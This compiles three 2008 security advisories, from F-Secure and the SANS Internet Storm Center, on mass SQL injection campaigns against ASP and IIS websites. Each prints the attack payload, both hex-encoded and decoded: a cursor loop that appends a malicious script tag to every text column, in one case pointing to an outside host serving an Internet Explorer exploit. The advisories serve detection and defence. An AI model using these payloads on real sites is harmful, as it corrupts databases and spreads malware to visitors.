ASP

F-Secure: Mass SQL Injection

F-Secure: Mass SQL Injection

There's another round of mass SQL injections going on which has infected hundreds of thousands of websites.

Performing a Google search results in over 510,000 modified pages.


Google Search Results
for SQL Injections

As more and more websites are using database back-ends to make them faster and more dynamic, it also means that it's crucial to verify what information gets stored in or requested from those databases — especially if you allow users to upload content themselves which happens all the time in discussion forums, blogs, feedback forms, et cetera.

Unless that data is sanitized before it gets saved you can't control what the website will show to the users. This is what SQL injection is all about, exploiting weaknesses in these controls. In this case the injection code starts off like this (note, this is not the complete code):

   DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004300
   4C00410052004500200040005400200076006100720063006800610072
   00280032003500350029002C0040004300200076006100720063006800
   610072002800320035003500290020004400450043004C004100520045
   0020005400610062006C0065005F0043007500720073006F0072002000
   43005500520053004F005200200046004F0052002000730065006C0065
   0063007400200061002E006E0061006D0065002C0062002E006E006100
   6D0065002000660072006F006D0020007300790073006F0062006A0065
   00630074007300200061002C0073007900730063006F006C0075006D00
   6E00730020006200200077006800650072006500200061002E00690064
   003D0062002E0069006400200061006E006400200061002E0078007400
   7900700065003D00270075002700200061006E0064002000280062002E
   00780074007900700065003D003900390020006F007200200062002E00
   780074007900700065003D003300350020006…

Which when decoded becomes:

   DECLARE @T varchar(255)'@C varchar(255) DECLARE Table_Cursor
   CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b
   where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35
   or b…

What happens as a result? It finds all text fields in the database and adds a link to malicious javascript to each and every one of them which will make your website display them automatically. So essentially what happened was that the attackers looked for ASP or ASPX pages containing any type of querystring (a dynamic value such as an article ID, product ID, et cetera) parameter and tried to use that to upload their SQL injection code.

So far three different domains have been used to host the malicious content — nmidahena.com, aspder.com and nihaorr1.com. There's a set of files that gets loaded from these sites that attempts to use different exploits to install an online gaming trojan. Right now the initial exploit page on all domains are unaccessible but that could change. So if you're a firewall administrator we recommend you to block access to them.

So what should you do?

First of all, search your website logs for the code above and see if you've been hit. If so, clean up your database to prevent your website visitors from becoming infected. Second, make sure that all the data you pass to your database is sanitized and that no code elements can be stored there. Third, block access to the sites above. Fourth, make sure the software you use is patched, F-Secure Health Check is an easy way to do this. Fifth, keep your antivirus solution up-to-date.

UPDATE: We've received some questions on the platform and operating systems affected by this attack. So far we've only seen websites using Microsoft IIS Web Server and Microsoft SQL Server being hit. Do note that this attack doesn't use vulnerabilities in any of those two applications. What makes this attack possible is poorly written ASP and ASPX (.net) code.

Handler's Diary: The 10.000 web sites infection mystery solved

Handler's Diary: The 10.000 web sites infection mystery solved

The 10.000 web sites infection mystery solved

Published: 2008-04-16,
Last Updated: 2008-04-16 19:14:00 UTC
by Bojan Zdrnja (Version: 3)

Back in January there were multiple reports about a large number of web sites being compromised and serving malware. Fellow handler Mari wrote the initial diary at http://isc.sans.org/diary.html?storyid=3834.

Later we did several diaries where we analyzed the attacks, such as the one I wrote at http://isc.sans.org/diary.html?storyid=3823. Most of the reports about these attacks we received pointed to exploitation of SQL Injection vulnerabilities.

Yesterday, one of our old friends, Dr. Neal Krawetz, pointed us to another site hosting malicious JavaScript files with various exploits. While those exploits where more or less standard, we managed to uncover a rare gem between them – the actual executable that is used by the bad guys in order to compromise web sites.

While we had a general idea about what they do during these attacks, and we knew that they were automated, we did not know exactly how the attacks worked, or what tools the attackers used. The strategy was relatively simple: they used search engines in order to find potentially vulnerable applications and then tried to exploit them. The exploit just consisted of an SQL statement that tried to inject a script tag into every HTML page on the web site.

The utility we recovered does the same thing. The interface appears to be is in Chinese so it is a bit difficult to navigate around the utility, but we did some initial analysis of the code (which is very big) to confirm what it does. You can see the interface below:

InsertHTML screenshot

So what the tool does is this:

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR
FOR select a.name,b.name from sysobjects a,syscolumns b where
a.id=b.id and a.xtype='u' a
nd (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN
Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN exec('up
date ['+@T+'] set ['+@C+']=rtrim(convert(varchar

,['+@C+']))+''
''')FETCH NEXT FROM  Table_Cursor INTO @T,@C END CLOSE Table_Cursor
DEALLOCATE Table_Cursor
;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(
%20AS%20NVARCHAR(4000));EXEC(

@S);--

The nice thing about this is that we finally managed to confirm that it is SQL Injection that was used in those attacks. The tool has more functionality that we still have to analyze but this is the main purpose.

So, to finish this diary – a call to all web site owners – check your applications and make sure that they are not vulnerable. We covered this many times in various diaries, so here are few links to online resources that can help with this:

http://www.owasp.org/index.php/Top_10_2007-A2#Protection

http://weblogs.asp.net/scottgu/archive/2006/09/30/Tip_2F00_Trick_3A00_-Guard-Against-SQL-Injection-Attacks.aspx

http://portal.spidynamics.com/blogs/msutton/archive/2006/09/26/How-Prevalent-Are-SQL-Injection-Vulnerabilities_3F00_.aspx

http://erratasec.blogspot.com/2007/08/sql-injection-is-surpisingly-easy.html


Some updates

Here are some updates with good stuff we received from our readers. First, let me clarify that this attack is a pure SQL injection. There was another mass attack at the beginning of the year which was more sophisticated and involved complete compromise of the web servers (i.e. the bad guys had the root access to the servers).
The tool described in this diary was used in the attack described in Kevin's diary (http://isc.sans.org/diary.html?storyid=4139).
These SQL Injection attacks are still going on and we can still see sites being attacked with similar (if not the same) tools.

Reader Nathan also sent a nice description of the SQL code, I'm including this e-mail below:

"The SQL in question uses table cursors (as variable Table_Cursor) to enumerate all tables on Microsoft SQL server and the respective columns that are of type ntext, text, nvarchar, or varchar AND the table type is a user table and not a system table.  The code then proceeds to utilize a cursor while loop to iterate through the returned results updating each table.columname concatenating it's current value with an arbitrary value (which appears missing in your SQL, it would appear in the [HERE] area of the query part "rtrim(convert(varchar,['+@C+']))+'[HERE]'"

The code converts the current data to varchar during concatenation to avoid any cast issues and removes any trailing space to the right of the field value.

The cursor is deallocated after update (how nice of them)"

Thanks everyone for great submissions.

--

Bojan

Handler's Diary: MSIE 0-day Spreading Via SQL Injection

Handler's Diary: MSIE 0-day Spreading Via SQL Injection

MSIE 0-day Spreading Via SQL Injection
Published: 2008-12-12,
Last Updated: 2008-12-12 01:00:18 UTC
by Johannes Ullrich (Version: 1)

One of our readers submitted this log entry, which shows a typical SQL injection exploit. The "new" part is that the javascript injected in this case is trying to exploit the MSIE 0-day:

In this case, the SQL injection is delivered as a cookie, not a GET parameter.

I broke up the strings for readability and inserted spaces around the malicious URL. As usual with these kinds of exploit, the script will load another script which will load another script ultimatley leading to the IE exploit.

 

Cookie: ref=ef';DECLA RE @S VARCHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263
6861722832353529204445434C415245205461626C655F437572736F7220435552534F52
20464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F62
6A6563747320612C737973636F6C756D6E7306220776865726520612E69643D622E69642
0616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72206
22E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653
D31363729204F50454E205461626C655F437572736F72204645544348204E45585420465
24F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404
046455443485F5354415455533D302920424547494E20657865632827757064617465205
B272B40542B275D20736574205B272B40432B275D3D727472696D28636F6E76657274287
66172636861722834303030292C5B272B40432B275D29292B27273C73637269707420737
2633D687474703A2F2F313767616D6F2E636F6D2F312E6A733E3C2F7363726970743E272
727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544
F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4
F43415445205461626C655F437572736F72 AS VARCHAR(4000));exec (@S);--


Decoded as:
DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
  select a.name,b.name from sysobjects a,syscolumns b
  where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or
                      b.xtype=231 or b.xtype=167)

OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C
  WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+']
   set ['+@C+']=rtrim(convert(varchar(4000),['+@C+']))+
       ''<script src=http:// 17gamo . com/1.js></script>''')
FETCH NEXT FROM  Table_Cursor INTO @T,@C END
CLOSE Table_Cursor DEALLOCATE Table_Cursor

 

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute